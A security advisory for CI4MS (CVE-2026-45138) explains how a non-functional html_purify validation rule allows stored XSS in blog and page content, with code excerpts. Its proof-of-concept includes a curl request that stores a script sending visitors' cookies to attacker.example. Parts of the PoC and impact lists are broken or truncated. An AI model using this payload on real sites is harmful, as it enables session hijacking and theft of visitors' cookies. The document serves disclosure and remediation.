ci4-cms-erp/ci4ms
Affected
- introduced
0, fixed0.31.9.0(ecosystem)
Fixed versions
0.31.9.0
Fix
The export has no generic command for this ecosystem.
Advisory
Also known as: CVE-2026-45138
CI4MS: Stored XSS in Blog Content via Broken html_purify Validation Rule
Summary
The custom html_purify validation rule used to sanitize blog post bodies relies on by-reference mutation (?string &$str), but CodeIgniter 4's validator passes a local copy of the value, so the sanitized text is silently discarded. The Blog controller writes $lanData['content'] directly into blog_langs.content, and the public template echoes it without escaping — yielding stored XSS executable in any visitor's browser, including the superadmin when previewing or editing posts.
Details
Root cause: by-reference mutation never propagates
Modules\Backend\Validation\CustomRules::html_purify declares its first argument by reference:
// modules/Backend/Validation/CustomRules.php:54-73
public function html_purify(?string &$str = null, ?string &$error = null): bool
{
if (empty(trim((string)$str))) return true;
if (!class_exists('\HTMLPurifier')) { $error = lang('Backend.htmlPurifierNotFound'); return false; }
$clean = self::sanitizeHtml($str);
$str = $clean; // <-- mutates only the local $value in CI4's validator
self::$cleanCache[md5((string)$str)] = $clean; // <-- key is md5(CLEAN), getClean() looks up md5(ORIGINAL)
return true;
}
CI4's validator invokes the rule via a local variable $value it created from a copy of $this->data:
// vendor/codeigniter4/framework/system/Validation/Validation.php:204-211
foreach ($values as $dotField => $value) { // local $value
$this->processRules($dotField, $setup['label'] ?? $field, $value, $rules, $data, $field);
}
// Validation.php:343-345
$passed = ($param === null)
? $set->{$rule}($value, $error) // <-- $value is the local var
: $set->{$rule}($value, $param, $data, $error, $field);
The reference mutation modifies that local $value only; $this->data, $_POST, and getValidated() keep the raw payload. The optional getClean($original) cache lookup in CustomRules.php:85-93 also fails because the cache was keyed on md5(clean) rather than md5(original).
Sink: raw POST is persisted and rendered unescaped
The Blog controller takes $_POST['lang'] verbatim, runs it through validation (which always returns true for html_purify), and writes it to the database with no further filtering:
// modules/Blog/Controllers/Blog.php:94-125 (Blog::new)
$langsPost = $this->request->getPost('lang'); // raw, unsanitized
...
if ($this->validate($valData) == false) return redirect()->...; // html_purify returns true
...
foreach ($langsPost as $lanCode => $lanData) {
$this->commonModel->create('blog_langs', [
'blog_id' => $insertID,
'lang' => $lanCode,
'title' => trim(strip_tags($lanData['title'])),
'seflink' => trim(strip_tags($lanData['seflink'])),
'content' => $lanData['content'], // <-- raw HTML stored
...
]);
}
The same pattern is used in Blog::edit at modules/Blog/Controllers/Blog.php:178 and :201.
The public blog post template echoes the field with no escaping:
// app/Views/templates/default/blog/post.php:51
<section class="mb-5" id="ci4ms-content">
<?php echo $infos->content ?>
</section>
The view is reached through App\Controllers\Home::post* (Home.php:238), which is an unauthenticated public route.
Trust boundary
Backend routes (modules/Blog/Config/Routes.php) are protected by backendGuard + Shield role checks, requiring blogs.create / blogs.update. These are delegated content-editor roles, not equivalent to superadmin: an editor cannot install plugins, run SQL, or access the file editor. Stored XSS therefore lets a low-privilege editor escalate by hijacking a superadmin session when the admin previews or edits the post (frontend /blog/<slug> is the executing surface; admin browsers visit it routinely). Independent of admin escalation, every public visitor that loads the post executes the attacker's JavaScript.
Same defect in the Pages module
A previous Stored XSS in the Pages module was "fixed" by introducing the very html_purify rule that this advisory shows is non-functional. Pages controllers (Pages::create, Pages::update) follow the same pattern and remain exploitable.
PoC
Prerequisite: any account holding the backend blogs.create role (or blogs.update for the edit variant). Cookies obtained via the standard backend login flow.
curl -k -b cookies.txt -X POST https://target/backend/blogs/create \
-d 'lang[en][title]=POC' \
-d 'lang[en][seflink]=poc-xss' \
-d "lang[en][content]=<script>fetch('https://attacker.example/?c='+encodeURIComponent(document.cookie))</script>" \
-d 'isActive=1' \
-d 'categories[]=1' \
-d 'author=1' \
-d 'created_at=01.01.2026 10:00:00' \
-d 'csrf_token_name=<token>'
html_purify reports true), and the row is written to blog_langs with content = <script>...</script> verbatim.https://target/blog/poc-xss. The injected <script> runs in every visitor's browser and exfiltrates their cookies. When a superadmin opens the post (e.g., from the backend list to review it), the script executes with the admin's session.Independent root-cause verification (run against the local app):
$ php /tmp/test_blog_flow.php
Validation passed: true
Stored content for en: <script>alert("STORED-XSS-PROOF-"+document.domain)</script>
That is, when the same payload is fed to the real CI4 validator with the project's rule set, getValidated()['lang']['en']['content'] returns the unmodified <script>...</script>, confirming the by-reference sanitization is dropped.
Impact
html_purify rule was the previous fix for the Pages Stored XSS, the Pages module is also still exploitable through Pages::create / Pages::update via the same primitive — i.e., this is a project-wide regression of an already-published advisory.getClean() cache fallback intended as a backstop is also non-functional (key mismatch between md5(clean) writer and md5(original) reader).Recommended Fix
validate() and before persisting.Medium Basis: The source's own band: MODERATE
0, fixed 0.31.9.0 (ecosystem)0.31.9.0
The export has no generic command for this ecosystem.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0